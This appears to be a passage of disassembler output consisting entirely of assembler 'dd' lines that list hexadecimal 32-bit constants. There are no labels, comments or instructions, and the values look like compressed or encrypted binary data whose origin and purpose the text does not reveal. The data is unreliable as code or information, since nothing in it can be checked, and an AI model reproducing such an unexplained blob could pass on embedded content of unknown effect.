		dd 0CDD800B7h, 2A617C05h, 0A1F9621h, 8C476588h,	0B7109271h
		dd 7D4CC3EDh, 0AEB6000Bh, 0A7FD27F8h, 4000EBE8h, 9548A545h
		dd 1FB7D42h, 6EF4B0D1h,	2C3462D5h, 61C90759h, 1C34FD0Bh
		dd 1E8A0D81h, 21D90F8h,	810F9E5Fh, 0A4C14A95h, 0A032EC9Ch
		dd 1C4D3Bh, 9317DA66h
		dd 0EF91C8h, 82B6B703h,	1C5A4696h, 0C5B5DF01h, 0C8A958F8h
		dd 27C29840h, 0E5C00002h, 444A2AB9h, 1C0026D8h,	403D70E9h
		dd 3BC36A0Bh, 0D403135Fh, 34F1C7A6h, 0B5CA3805h, 0BC00C149h
		dd 0BF735F2Ch, 20E8F7FCh, 220F009Ch, 0F83B55FAh, 0F005F660h
		dd 0FCC742C3h, 0DDEFD440h, 9E8915h, 0B55729D1h,	8B35851h
		dd 1E972D09h, 9E8FFD16h, 15C40B20h, 0B0F40CD1h,	62CE330Bh
		dd 0C1360CA2h, 9D2E0085h, 1CD77334h, 1E0E8D8Fh,	0A2580D93h
		dd 80BECBCFh, 22094E8Bh, 437F01F6h, 7996AED3h, 2631CC15h
		dd 3ED249C6h, 91E503D9h, 458138BEh, 0A713A3F0h,	1801ACFAh
		dd 679A0990h, 0DCC45DB7h, 702D004Dh, 0AA95EA25h, 0AF0CC4DBh
		dd 489AB5CCh, 56340042h, 0C137B74Bh, 0BA00E160h, 6E95A753h
		dd 0FC8CAEA4h, 0C8FF00C7h, 3C030799h, 1705821Ch, 0A7EDDF02h
		dd 0E2F6B420h, 234800AAh, 6D599260h, 0CB00CD43h, 14B0B41Dh
		dd 3740C299h, 0F0310DA1h, 0D38429E8h, 1D23C600h, 40CCB8B6h
		dd 0DA4D2CF4h, 4560341h, 0D1901061h, 0D8007895h, 0A56B43EDh
		dd 2E12D7ADh, 50D0h, 0E07CB7Ch,	0B6E8CD68h, 5DCFE701h
		dd 530FCAF2h, 9615E06Eh, 16F02201h, 3BC01C17h, 0B4701EC3h
		dd 0DFE7C0E8h, 96B2EC42h, 0F2A4B3Ah, 0E0D2D377h, 0C96BAD7Eh
		dd 6130C139h, 20B7B820h, 72618E97h, 6B0F07B0h, 1785799Ch
		dd 0F4D2009Ch, 0A5663547h, 0E810B58h, 0C9EEFFh,	2AD27679h
		dd 0A34D0161h, 631B408Eh, 0B64897BDh, 0C7B5240Fh, 3E3347F2h
		dd 0AA6BD8F3h, 1191002Ah, 2B77141Fh, 0DD1FA879h, 2300ABC2h
		dd 0A013FEA3h, 846C0180h, 73F81F8Dh, 0F9588846h, 8C6F0017h
		dd 0E3A07D44h, 55ED0C00h, 3070999Ah, 3D8800C6h,	9D16DD6Ch
		dd 0B27D5F04h, 65F65174h, 0FCB67403h, 0A6BB25AEh, 694D2640h
		dd 0CB8A065Dh, 0DCF8504Bh, 0D6806C28h, 80D3E03Ch, 9228ABF1h
		dd 60A96643h, 86F47946h, 5B03AFC2h, 0CD24123h, 82B7D8F1h
		dd 0D5110C9Ah, 5C51C09Fh, 0CE544B0Fh, 672FC75Eh, 0E4CAED70h
		dd 16049053h, 5D9321h, 5EEE6DF5h, 8A0D57DFh, 41BA9FA5h
		dd 0F8088BD4h, 38B000E8h, 64B809C1h, 0F00ADC4h,	0D54B8F7Bh
		dd 0FF882Dh, 0CA4E4430h, 619ADF4Ch, 0E1CD420Eh,	5BD2023h
		dd 0FCBAA0D5h, 589C63CCh, 6F81317Dh, 64688C4Eh,	7DAE71ADh
		dd 62B60E73h, 16C79B46h, 0C0DD6705h, 0E4589392h, 0A0A8527Fh
		dd 38607F2Dh, 8C91139h,	5BDD0054h, 0B3B9109Ch, 0DB0045CEh
		dd 1D1523CFh, 1E29802Ch, 32F0509h, 6DC2DA67h, 82C8A0D3h
		dd 0E339B8F8h, 2DE8083h, 0B6EF1D4Bh, 0BF650011h, 0C66A5FEBh
		dd 0AF00EE8Ch, 75125179h, 0F845D4AAh, 80015046h, 1AE373A9h
		dd 3089DBECh, 94B2BE60h, 0F631EE39h, 803B10A0h,	0CD84381h
		dd 18C57A9Fh, 1172F54Fh, 0F9125963h, 0A601EB3Eh, 0EEF8C66Bh
		dd 0C0E1BBD0h, 49AF0420h, 71B88E6h, 1458C5CDh, 0E1A14318h
		dd 9FD0E72h, 0A058BFE6h, 0E8010575h, 0A209284h,	7D60CA70h
		dd 0A0643CF6h, 0B848180Ch, 5D0ECC41h, 0E1052E2Ah, 0C73F64D0h
		dd 21740898h, 0B790351Fh, 0A1C12016h, 0EA9C6B05h, 894E4C06h
		dd 0A0E229h, 9075E9FFh,	0D6BA7813h, 706F9D3Bh, 0BE5D8800h
		dd 0B7024D67h, 0B3B5331Ah, 0E2D3F798h, 5C9A4000h, 0E4185B7Fh
		dd 0C8BA2A96h, 0A27B30A8h, 0FF512AC0h, 0EB3D80h, 0F19B3522h
		dd 873ABAACh, 3B7A8500h, 0F2B7D109h, 4E560E65h,	403E1626h
		dd 9D322969h, 0CE007B13h, 2B84A7F3h, 0F9FD7B7h,	0EC1141BBh
		dd 16F25540h, 5C0A7FC9h, 14A2D0AAh, 22AB08h, 42ED178h
		dd 391DE67Dh, 0A700A1F1h, 0D0E34FFEh, 0F9530093h, 732C90F4h
		dd 8D14F154h, 4513Bh, 0E14303AFh, 495CB6h, 4F47C05Ah, 152B709Ch
		dd 9F79E600h, 0CB1408B0h, 3C3B008Ah, 67CCBB44h,	0D0F5BBCh
		dd 0E02D9095h, 7C9DFCF8h, 0BE033D36h, 0BA7AB900h, 0A6206EB5h
		dd 4751807h, 9C308E85h,	8F5E2Fh, 0EBE97263h, 0FE4BA1D2h
		dd 434F1200h, 0F8878C5Bh, 88D00BAh, 2BFB555Ah, 93000EA1h
		dd 15B4283h, 122E034h, 1FAF80B4h, 40450F56h, 2C743CACh
		dd 0E2F46D02h, 0FFBFFABBh, 2F54D800h, 1900F586h, 0B6CF8085h
		dd 7BC017h, 341BE172h, 785CAEB8h, 0AA839CA0h, 800AAF3Ch
		dd 0E84DFF8Bh, 7E2A49Eh, 0DD944820h, 0F5ABD0A9h, 0D10010D0h
		dd 5AAC8EADh, 7D7EFA50h, 86C10130h, 92F1E056h, 695FE0D4h
		dd 14F24600h, 48C0BBB7h, 1FBE00E7h, 0A9C24ECh, 9300662Ah
		dd 79ACD931h, 3B8C2867h, 740DFF34h, 0DCD85161h,	57003B01h
		dd 90E16955h, 10624Ch, 2C2EF2C6h, 2FD7CD2Ah, 31406300h
		dd 0E8AC8379h, 980F754h, 0E368ACFh, 0D7009BB0h,	0EE7CF3E9h
		dd 72508123h, 0FC5C00C7h, 7FC485CBh, 6E007517h,	8B3ABD11h
		dd 840AF1h, 5ADD2135h, 0D49ACACEh, 8DB59100h, 889C2B9Eh
		dd 633C00F0h, 25DA06FDh, 0EA00F26Ah, 3534E8E2h,	955C2Bh
		dd 61898C05h, 76FB0C09h, 98001EF6h, 85D0A4D6h, 0CF5D886h
		dd 227D19EEh, 3900C1F0h, 0B6C53DE3h, 7BB4C968h,	9AE70186h
		dd 0EEBDAAAh, 0D3E8DC3Eh, 8B94AB0Bh, 4490825h, 9B7B8101h
		dd 41F8D1E0h, 0BF1B0082h, 2B293DB5h, 0E10165DDh, 19ED370Fh
		dd 0E6966B28h, 2AB303F2h, 6A8E5C6h, 0CA007CEBh,	20A609CDh
		dd 17D7B5Bh, 0F5BB319Eh, 0ED601FB6h, 0FACC4052h, 0D201A951h
		dd 0A72F4350h, 2DCC35C7h, 8AF0041h, 775A7071h, 0D1009792h
		dd 4E2776ACh, 71EFC9A3h, 85D30086h, 8D9B0645h, 7A00F4A7h
		dd 0CB5B466Ch, 7AC0F109h, 91AE0792h, 8076A2A0h,	7D12EC36h
		dd 8ACCCB01h, 3E83494h,	3774920h, 0F70BF61Ah, 1EA0CA56h
		dd 60032991h, 5B885C35h, 123498B0h, 9D3600F9h, 2B7AAD1Ah
		dd 0CE76E44Dh, 80469600h, 8912A757h, 0E6E10E07h, 58AFD559h
		dd 540A6C23h, 284A6B88h, 92BBC100h, 0CB0E16A1h,	0C06D000Ch
		dd 0BE50DCDh, 0DE0015D4h, 17196C38h, 6A9CA2h, 8E95E0A1h
		dd 415FBE98h, 3A00D5F6h, 0E5473827h, 1E3C5756h,	67FDC0Ch
		dd 0D8E1738Eh, 6DEE1600h, 0B880F5B5h, 0CD320020h, 53409735h
		dd 411324F0h, 4E035718h, 0A0280B7Ch, 0AD0633h, 5FD8923h
		dd 0BB6C194Dh, 0A4CE5E00h, 0A92D3A98h, 5C75ECh,	8E4AD612h
		dd 0FDD37235h, 944D9E1Dh, 6E5DB140h, 0E82A15h, 45A80662h
		dd 99C06974h, 0FA224109h, 0AF03809Dh, 8C02CCh, 4C9E92DCh
		dd 5919C68Dh, 824B8E3Ch, 6B4D2FADh, 0F1048043h,	76885FFh
		dd 0C148E0C8h, 4A74603Dh, 4F003BA7h, 0DAAFD8CDh, 28E97Ch
		dd 2F14534Dh, 2320E507h, 0E1CF1E00h, 6082D761h,	0B4E0003Eh
		dd 0DCE48CB7h, 770066EFh, 0FE382910h, 571F49h, 0FB0B2620h
		dd 3DEC8D67h, 81358217h, 2E3AC00h, 31DBD7h, 0FB164A1Ah
		dd 0A18E948Bh, 7FA56D00h, 0C4F9F735h, 3DAE419h,	405972AFh
		dd 6EF0D433h, 7C0003F8h, 616D1139h, 45D74h, 0DC1EC897h
		dd 45B4EA8Bh, 0BD34C30Fh, 0AF5C60F7h, 7A1185B2h, 0AEE1016Eh
		dd 7D61EEA2h, 69A72050h, 58000472h, 51FE6275h, 24903A92h
		dd 4120D39Dh, 0D08A7F23h, 9B7B99C8h, 0CC74CD00h, 0DC244FFAh
		dd 0D8DB012Eh, 0EBE777F1h, 23D2E497h, 0DA55F900h, 804D5CD6h
		dd 0D4A40034h, 3E41CD11h, 0AC002584h, 0C1DBE102h, 19C2C8Fh
		dd 56D2FFEFh, 0FC4B5801h, 0F484DA5h, 79B0068h, 0ED8A80CEh
		dd 0F2B6702Ch, 0AFFA0090h, 0B419E6D4h, 83EA985Dh, 6E558C00h
		dd 3DDB2049h, 0E88A0FA0h, 0B36288DEh, 42C0D275h, 47015DE1h
		dd 0E9CF73A9h
		dd 0B9C02411h, 0A4E009C1h, 0EC0F6A0Bh, 45BCE463h, 50A78100h
		dd 9B15960Ah, 0BEFF025Ch, 230442F1h, 0A193C080h, 1A7DC27Ah
		dd 2AC39201h, 0B0E5D626h, 62C04880h, 0F4EEA7E2h, 6F2538h
		dd 0C35AA309h, 184663h,	4FF8A9F3h, 0BB658B8h, 0BC000C75h
		dd 7F88E9B4h, 6A2B71h, 0D0DC895Fh, 0B6634846h, 5005BE2h
		dd 0C9AADD6Eh, 0F8F85821h, 0FCFB00D7h, 23C39940h, 4D069AE4h
		dd 45DAF59Bh, 0AFD017E0h, 0C6C9A0F9h, 0BB643B03h, 791334FBh
		dd 9A7603C9h, 2BD6481Bh, 710C028Dh, 0BC407AF6h,	0AC002836h
		dd 60405E64h, 0C96EFCh,	86A53E58h, 49AB1632h, 9ED4633Bh
		dd 719F8B6Ah, 2DBBD40h,	0CE340Eh, 0AC17B9D9h, 0C48751Bh
		dd 9D6BD439h, 0EADC779Ch, 0D9EC4040h, 1AA1D87h,	0B7F1E897h
		dd 70EE55BEh, 6107581Ch, 0B9693F8Fh, 39BA4290h,	5444F501h
		dd 0F0D202C0h, 9A850C48h, 5C097174h, 8A0321DCh,	0E83AA7D5h
		dd 41507h, 99539F72h, 283F79C0h, 0E8288AFBh, 1D80FC1Ah
		dd 8966A165h, 147F93h, 13DA68EFh, 71F9535h, 16277B06h
		dd 3147D7h, 0C7874052h,	0CED9B464h, 14B67800h, 0B78EEB0Ah
		dd 77B50773h, 10E25F2Ah, 7282F71Ch, 2D74201h, 36CF0B6Fh
		dd 3EE82EECh, 20625A48h, 610CA3D2h, 74707F36h, 39A8C4B6h
		dd 424E5871h, 4832C703h, 4CEF60CBh, 343072CFh, 0DC754040h
		dd 0D6D40081h, 900A454Fh, 0CE001561h, 39CFE1DEh, 7CAAFF6h
		dd 8F2E77A1h, 31BC601Ch, 8200C2B5h, 18433DF9h, 16B9A22h
		dd 0D9FC5853h, 0D440E64Ch, 0C500B80Ah, 35E9D6BDh, 0C6766Bh
		dd 0CC92BCB3h, 86C03C67h, 0BAA0CE00h, 0F9E4824Bh, 5D120028h
		dd 591BD814h, 0BC26862Ah, 0D100FC9Ch, 79221793h, 0DCD20038h
		dd 0CBAEA2BEh, 6009288h, 0B2754715h, 0B7FD7FDh,	358A2213h
		dd 0E68EE300h, 260005A3h, 579B416Bh, 60F3A9h, 2F0A205Bh
		dd 7867AB0Eh, 164F2700h, 0A0DA77F0h, 0B2D500F6h, 86334A0Dh
		dd 800F540Ch, 20B3870Eh, 0F6434F9Ch, 0BF3100F3h, 54EE27B7h
		dd 8201193Dh, 32E285B3h, 7D0DAF0h, 2A370087h, 0EE6933C0h
		dd 8C1DBC6Eh, 603C6336h, 0C60C1821h, 2C903A4h, 148925C4h
		dd 7996480Eh, 836878CFh, 0E2D8042Ch, 58A4CC18h,	83A3EF20h
		dd 0E2D74800h, 0DAA7D839h, 6711C30Eh, 0EE8898E0h, 0F71973CBh
		dd 0DD08CEB6h, 0E847218Fh, 481797E0h, 1C0FFE91h, 635E1AD2h
		dd 0F0D67CB3h, 30ADD821h, 730A9BAh, 0B904AEA7h,	168BC1A2h
		dd 30FFC7C3h, 0CE219B08h, 5B00B9A6h, 7E0A3510h,	5ED86Eh
		dd 7360CC02h, 0E579B38Eh, 9486E928h, 0B01F347Ch, 221383E4h
		dd 0ADFE1500h, 1DBCCE65h, 40545CF9h, 2C394144h,	2E81A64h
		dd 0FB24EA00h, 0FCC426F6h, 0DF130072h, 0A8238760h, 85009578h
		dd 218C10Ah, 3C46DCh, 1E8EA4B4h, 0C7CBE076h, 99105528h
		dd 0BDDE0600h, 3C32CD9h, 0A2D2005Fh, 5A8927C0h,	3000FE7Bh
		dd 1F0BD741h, 0FC13FE4h, 8DA7ADC9h, 555B035Dh, 97A0E56Bh
		dd 9500FC5Fh, 6D62B49Fh, 0ECD2E85h, 6A38CC4Ah, 24347F00h
		dd 0C000FAA1h, 78DAAE94h, 3D19DF8h, 762C3844h, 87C3329h
		dd 0FBE16700h, 30A02722h, 6E980090h, 0B485053Ah, 0BB00518Fh
		dd 60A928BFh, 0EC88FAB1h, 69F645h, 3753F92h, 24D1E53Bh
		dd 6C182260h, 762E9Ch, 4CEA2CABh, 0B28416C0h, 6CF7858h
		dd 5B94BB8Eh, 2C3B0178h, 7BEB77ACh, 16118073h, 0DD890E99h
		dd 3FE618F3h, 77C209F5h, 0C7B620C0h, 4C1E4Bh, 8F2656B0h
		dd 6CABEC78h, 5B972118h, 8644F850h, 660ECC02h, 1B5DCBDEh
		dd 0B33B21D6h, 2D1B00CAh, 4CD7FF67h, 4A923068h,	0EE3ACB59h
		dd 0A47E3144h, 0E960454h, 63FBDE94h, 0B5210710h, 0B3930EFCh
		dd 0D2E01AC7h, 5000F17Ch, 71320951h, 183B16C1h,	6877BDDFh
		dd 9500562Ah, 93379B5Bh, 0E2BE89E8h, 0AEE233h, 90D9D514h
		dd 192FC174h, 0F0EA6E00h, 0F8A8966Bh, 336C1FAEh, 5BA7C0F7h
		dd 2F53C0A5h, 30CE2530h, 0F21E22h, 0B940C456h, 3B0BDDC9h
		dd 8B093Dh, 891B212Ch, 0EDA01FDh, 0D4C17742h, 478E4EE0h
		dd 11EA5A95h, 0BCAFB700h, 3AD20446h, 793D3E0Dh,	724BC981h
		dd 0E069B6C1h, 836088ACh, 3F71A9A1h, 0D5C91F9Ah, 0DD99004Eh
		dd 1A6F5A69h, 30F16530h, 47E074h, 0A36811AAh, 78A2B2F4h
		dd 0CCB3FD00h, 0FB38DAC7h, 0EA81074Ah, 0B0D37757h, 49FDD7D4h
		dd 92C62500h, 81D0D1A7h, 9D3A0043h, 0EDFB292Ch,	2007B3F6h
		dd 5CBDE046h, 88C32600h, 4E530CC6h, 0E5A1CAD9h,	52CF1F00h
		dd 0F24273B5h, 0F9F31C91h, 53FB0006h, 8D5AFD37h, 0BBAC4C00h
		dd 0CFF2201Eh, 49AA00B8h, 0B6892FA3h, 0C200F9F4h, 66C66928h
		dd 7BBCE9Dh, 0E76B13FFh, 408F4043h, 0A4000E3Ch,	84529026h
		dd 0EE51044h, 0CE4B72F4h, 0F30A60C0h, 0C20EC71Ah, 80C4D313h
		dd 935CA490h, 6CBE01F0h, 0B4AC3DA5h, 96DAF4FAh,	0CA056900h
		dd 0DBC3481Ah, 8026000Dh, 90C1DC1Bh, 0FF00E7F3h, 0A7A2F663h
		dd 1785330h, 0CB72B7D3h, 8061E3DDh, 0D7A40D4h, 2D707Fh
		dd 0F26FA952h, 7691EE03h, 84073D01h, 8B5865CEh,	0C0EFFE70h
		dd 303F7518h, 0D4F7C3D5h, 30C12BA8h, 0A7DF99FEh, 10AC6B61h
		dd 650D0367h, 13D07903h, 0BC2888FDh, 0C200ACFCh, 0D31DCAA8h
		dd 0C09B102Bh, 8BBEDBB1h, 7900A535h, 982ECB28h,	3A8F6E4h
		dd 0BFC37789h, 84B8398Ch, 0F000B5CCh, 38ED8D76h, 7C2C6h
		dd 0F1DD3AAFh, 2C31608Ch, 1F861A07h, 4640DBEBh,	5D5C6Ch
		dd 1EF03D3Ah, 0DC886761h, 0C8E5CD0Eh, 256D86F6h, 0B0FA1C20h
		dd 419F00D4h, 2F1FDF04h, 1D7F9601h, 6FAB5D5Eh, 5C3A0880h
		dd 76810992h, 25C20F0Fh, 69A0C0BDh, 0E094E2CFh,	80A20667h
		dd 0DA567F1Fh, 316BC703h, 0B8AF60D4h, 12917FCh,	5C22F473h
		dd 8048FA82h, 699DEE58h, 0B18B13h, 0FB0DF5EBh, 99AD62DCh
		dd 0A320C717h, 9040061Dh, 0E1EE41BAh, 1DD9C738h, 1AC841B4h
		dd 3E1183C3h, 0C89F8EF2h, 0F24EB99h, 237F5657h,	6020502Ch
		dd 26A08650h, 811FA30Eh, 284100ECh, 0A046BB8Ah,	0E6685374h
		dd 0CFBE005Fh, 0F87F175h, 351C5013h, 8E80B878h,	0C2A86469h
		dd 0F0D3BDh, 5F773ADFh,	0A0C0462Dh, 9371C621h, 5C090376h
		dd 0CDB5BB3Fh, 9FDAF10Eh, 71732090h, 3A6309DCh,	0B130B9F9h
		dd 992A0721h, 2F421700h, 3FD70273h, 2C5009F6h, 75812918h
		dd 0F1629864h, 0D17EC6Fh, 0D888DC05h, 5A806C6Bh, 0EC4E5276h
		dd 1CA000B2h, 0D0E519FFh, 96008215h, 7FD6CC6Eh,	7C892Bh
		dd 6A973BC8h, 12526D26h, 0EB3CDA0Eh, 7881C00Ch,	9E4280h
		dd 0C8D3DF5Bh, 0CCFE9B73h, 0CA12B400h, 0F2564D7Eh, 607A30h
		dd 0C5675852h, 68800D01h, 1A05F91Eh, 0C8C6480h,	0DEA97929h
		dd 68B7C021h, 0E7D28B11h, 8209600h, 0CDB0A1DCh,	17F1074Eh
		dd 301B9E5Fh, 0CA212DFh, 0F2024F00h, 18727931h,	99DE000Fh
		dd 0F7660B2Dh, 7F006817h, 67AD01C9h, 0E4BFA25h,	0F5CCAE83h
		dd 3244841h, 15FDCFh, 972AEEh, 70AF8364h, 711C7BB6h, 0AE304598h
		dd 82F2A05Bh, 0DB2500CEh, 7A5DD4E5h, 3B1CF39Ch,	54C0F4BBh
		dd 36459A06h, 990803B6h, 5057D02Bh, 0E33981F6h,	3F2C8F84h
		dd 2B6683E6h, 0C5180E02h, 2AE07598h, 0EC6EEE50h, 9BCE6B1Eh
		dd 343C1E40h, 2A88A205h, 76A802AFh, 15B427Ah, 5C36886h
		dd 0F0B5FAAh, 2068AD14h, 0B8859A61h, 9125003Ah,	0F41A985Fh
		dd 4771AA4Ch, 52F1AF03h, 0DB10B403h, 18E1C067h,	986A03EEh
		dd 0B2899105h
		dd 6281B6F8h, 5E00AA7Fh, 66ED83F2h, 0B837F53Ch,	0A5780073h
		dd 0BBFDDD0h, 9200F213h, 0E9686988h, 7B0955Fh, 0A6B4424Fh
		dd 67CE3046h, 678BA0Ah,	537E7400h, 7A923D0h, 824400CFh
		dd 8B7898EAh, 0FA0095DAh, 65A3BADh, 3DCF936Fh, 0D380F335h
		dd 68214B1Dh, 7E0069BBh, 723B9BC2h, 3F1220h, 0B710D6AFh
		dd 6A64D752h, 30D220C0h, 0F379772h, 0C4B2688Dh,	3C0CD5AFh
		dd 2C066260h, 92548ADAh, 0C07D0051h, 1E15A72h, 334D396h
		dd 3C2E1899h, 6000C23h,	559F18B6h, 0A4BF3E94h, 8A38B400h
		dd 0B0269779h, 0C334EB1Fh, 6C59C519h, 4AA3AA8Ch, 0AD07A211h
		dd 4F1A3DC0h, 0DC4232D1h, 8676088Ch, 45001420h,	7B9407C0h
		dd 0F391053h, 259FA4B0h, 976F5858h, 28A8EC79h, 4811C0D8h
		dd 0E4847714h, 68030190h, 0AC9CEEC0h, 93130065h, 0BEF45E17h
		dd 0AAC09650h, 0B478D075h, 0C21C7C00h, 9C773886h, 94D1D31h
		dd 97654282h, 0C6400E10h, 330FBAE1h, 60B4419Dh,	0C5CCCEB5h
		dd 0FC210026h, 3F309B0Bh, 8103708Eh, 0E79F7B12h, 0B703DB9Eh
		dd 0DBF0E270h, 553B00FAh, 8110CB88h, 0E2ED42A8h, 1B3FE0DFh
		dd 6C8D0025h, 403C9C8h,	0AC7224D3h, 9DEA1400h, 0EEA7105Ch
		dd 0F9600E20h, 95E04511h, 225D0577h, 670E57F4h,	4E5A7331h
		dd 0D32D8735h, 59A038C0h, 8C3C3A5Eh, 0D90EE880h, 7D79B6D4h
		dd 7C46A3Ch, 670747A1h,	0BF35A610h, 116EC49h, 89EDCBE8h
		dd 0EC72FFA4h, 4A03A714h, 73187E83h, 8408B8F7h,	0CDC7008Dh
		dd 0E3647475h, 56007C41h, 6AA03B5Bh, 0FFEEFE5h,	7E32CB71h
		dd 65495C80h, 900CE3A4h, 61F2F52Fh, 0C6AC0097h,	23ECF31Fh
		dd 9E138C8Eh, 7A07047Bh, 0EF56D2h, 0A28ACB27h, 0D71D0E40h
		dd 0EB40C379h, 75F2A9C4h, 0DF18BF60h, 3FDD12ABh, 248768DAh
		dd 0C0BD9EE5h, 97F0668Fh, 8A9D1918h, 701FEF80h,	288E03C6h
		dd 5AF91B7Bh, 64F4B1F8h, 6E3C312Eh, 0E8BFA200h,	0C0835FF2h
		dd 94E50378h, 0FC303862h, 4EAD58C8h, 242BFA0Bh,	2642E89Dh
		dd 3B3300F1h, 0E70DB846h, 6CEF10Fh, 737660AFh, 7C23950h
		dd 5FD6C34Eh, 83EC3E61h, 0D4197491h, 43F0603Ch,	18800221h
		dd 0AA388765h, 8FACDF0h, 41C3B103h, 0A01A7C68h,	3A427B23h
		dd 6980E1C2h, 0D51E812Fh, 977BA7EFh, 9F51FB00h,	8D5EF526h
		dd 0FA0ADFA4h, 0EC34CF19h, 518BD0CAh, 8ADE2100h, 26542D80h
		dd 0B29F0022h, 0A88E6B12h, 0E200D6B0h, 0B659E462h, 6D0F3C3h
		dd 6C174BEBh, 42001816h, 9DC8701Eh, 3C536Fh, 8428D740h
		dd 736AD18Fh, 0C108B100h, 9B9C87E6h, 567A2Ch, 28759980h
		dd 0F66B17C7h, 0CD9D5E0Eh, 0F826A0F9h, 36A3CFh,	0EAA90350h
		dd 0B76AD3F4h, 0C15D8F03h, 0E08BF679h, 0CC0B6Eh, 8A2E0558h
		dd 0CE069739h, 7C074B7Ah, 1CE56189h, 0C2118D80h, 31473B8Eh
		dd 1F577500h, 45644F5Fh, 363EA800h, 0EBF548CAh,	949D5098h
		dd 53870092h, 8CFF5A55h, 6400BBA4h, 7576CA1Bh, 3BA0C602h
		dd 0B0D80C03h, 82F3060h, 0FC162662h, 59002D59h,	0DCDEE21Fh
		dd 36D4031Ah, 0D1F16B6Fh, 0A93A691Eh, 0B8BE1CC0h, 7EBFEA1h
		dd 26CEC07Fh, 7B0FC057h, 0E57C8ED1h, 0C9277203h, 0B8ED105Ah
		dd 776C3EFFh, 7E400054h, 0B02920B4h, 0DC742E4Ch, 20AC8D30h
		dd 0B8422801h, 0FC7F3E20h, 0B692112h, 0F200FF9Eh, 39FBA8Eh
		dd 5A29AFF8h, 79002C7Bh, 28A81D42h, 0B94486DCh,	89750E34h
		dd 40E0EBBDh, 0AEEDCFCAh, 66FFE5A0h, 0E91E3Ah, 42C52770h
		dd 0F8F475A8h, 87851E9Eh, 218687C2h, 49ED8305h,	2100B4A3h
		dd 0D582560Ch, 186804Dh, 0E9A5D0C2h, 0F738CEEDh, 46289961h
		dd 1080C1B0h, 47E49048h, 220F73ADh, 872E1685h, 0A106D71Bh
		dd 0DF7230h, 0F014CC57h, 0BC679E31h, 35060200h,	0C0289C36h
		dd 7EE7001Dh, 79C5FF2Fh, 88A44BB3h, 21E07C1Eh, 84AA1070h
		dd 710600F0h, 7313B69Bh, 46035824h, 0C63E940h, 8D9CE0AAh
		dd 0BD70DDh, 6503B6D3h,	0D9F8128Eh, 86F0C401h, 46220E30h
		dd 1EE85D8h, 92291EA5h,	0D8E5BF28h, 0C50083E3h,	0BA186371h
		dd 9F9B4B93h, 0CCA833E1h, 311ECA2Eh, 3079BDE0h,	0F6975279h
		dd 0DE9A000Fh, 321D791h, 78E07E4Ch, 420530E2h, 0FBE3B5Dh
		dd 0F9221583h, 9920E8A4h, 0F387C5Fh, 800C7264h,	8D4F5900h
		dd 7B07DF22h, 0F051B99Eh, 3DA3C150h, 6A5A0EBEh,	0A5606D81h
		dd 0CE9FE9D8h, 5350F900h, 0C1D737BDh, 6460385Bh, 45300948h
		dd 0F4144919h, 7D3A01E4h, 0AE00FB0Dh, 0DCC44152h, 0E68CA2h
		dd 0EF1BAA8h, 5AC1FCC2h, 0E97CA1C0h, 29578Dh, 188ADF6Fh
		dd 6AB62852h, 1F86E3Ah,	766539F7h, 0E1A8BCF2h, 0F67DA7h
		dd 0E643D24h, 0E835C192h, 8456DA28h, 745F6F00h,	47AB7F3Eh
		dd 66F90AE9h, 0A4CF77h,	0F6B0D2ADh, 0A50008D6h,	0D135D382h
		dd 492044h, 1013680Ch, 0ABB7A2Dh, 6225011Fh, 8140999Dh
		dd 7782CEFDh, 0E8BE7729h, 2C61005Eh, 6CAD439Bh,	5700F01Fh
		dd 7F8ADBFEh, 69ADA2Bh,	472C30B2h, 5E0038A6h, 520C287Ch
		dd 0BF85A5h, 0E41B638h,	0BB79FFADh, 2D1CC100h, 0F0F2DE9Fh
		dd 74A7F6E5h, 31AFFC0Fh, 0F7B1DA50h, 8E6AD0FEh,	28DC2F00h
		dd 63AF46BAh, 8258C70Eh, 991DC08Ch, 400087A6h, 9FC78EB0h
		dd 0E494ECD6h, 7486C081h, 6098FF01h, 55D74200h,	36F71203h
		dd 2F2E0020h, 0C1828A7Ch, 0E900888Bh, 7BFF9287h, 4BF002h
		dd 0E684B4B5h, 96610B1Bh, 0FE185FFEh, 0FB193163h, 88736074h
		dd 4DAC3E46h, 0ED45150Fh, 0FE18204Eh, 9DBCDAh, 29C28030h
		dd 8C6F5E54h, 0E4B97903h, 0D0EC78FCh, 0FD2686h,	0C9586D87h
		dd 0F65BF360h, 36445100h, 199007ECh, 3A4D0EE4h,	0CDAF28A1h
		dd 383B70A0h, 0F001CB82h, 0A98D0164h, 0E3FC610Fh, 93450032h
		dd 780BD96Fh, 0AA03D752h, 3815169Ah, 0A1478069h, 954F006Eh
		dd 3E705A09h, 0BE30FFA0h, 42053831h, 7A76005Eh,	7DC219FCh
		dd 0E90075B2h, 7862EE64h, 78DDA6F3h, 3D4E0161h,	838C33C8h
		dd 30FEF8ABh, 27AFF901h, 4655F7CAh, 0E98570h, 45909316h
		dd 4B5658FBh, 96535E00h, 0B882317Eh, 0A5493973h, 190E72C8h
		dd 0F66038BDh, 1A936171h, 0AA5711C0h, 0DC52D8E2h, 0FCC60039h
		dd 0F037DA92h, 0E6683B0Eh, 268C4F3Ch, 0FC829F3h, 0D8FCCDEFh
		dd 64240597h, 0E8C03D6h, 0D76E13h, 0D3A66F62h, 0A160E900h
		dd 73414916h, 0D6DE0E6Dh, 75E05D72h, 0E5562750h, 808C0C3Ah
		dd 1ABE39EAh, 7EEF8Ah, 7C78CF83h, 4BE1A84Ch, 1D360700h
		dd 2CDA2684h, 0AC7CA3h,	4C0C4350h, 4D54B1EAh, 2369B91Eh
		dd 0F60FCC5Dh, 0D747DF02h, 0A01F68D2h, 83561F5Dh, 31E074Dh
		dd 0D3343E80h, 6CC036F6h, 0B9064E7Dh, 6E69D70Bh, 0C2FA58h
		dd 1DBA747Bh, 48335CB7h, 50095A07h, 29F0609Fh, 676843h
		dd 91CF235Dh, 0B4BA3BE0h, 0B68B7E0Eh, 6835E059h, 3695C54h
		dd 606B23AEh, 0C0CA37DCh, 17E8DC40h, 0DE35B500h, 0A7D47D68h
		dd 0B5900F1h, 90B344E5h, 5D03F4ACh, 195C4DF6h, 0ABE00A3Dh
		dd 0C5BAAh, 2A4345BCh, 102A781h, 34BFB9E3h, 678480E1h
		dd 6732E25h, 46B2DDDEh,	3C0040EAh, 50031898h, 147B57Bh
		dd 0B0345FE1h, 0E2B40AD8h, 0AABACB60h, 0DDC3D900h, 28E6DA43h
		dd 46CE3C57h, 2619E502h, 0B081C0D6h, 513ABB18h,	6A3324h
		dd 1CB3D39h, 1F4FE028h,	40142F17h, 0BF318B4h, 47B8F000h
		dd 37705C3Dh, 0F50F4821h, 7A05FF0Ah, 3919089Ch,	0BAFDFA00h
		dd 74280369h, 0DB010F9Fh
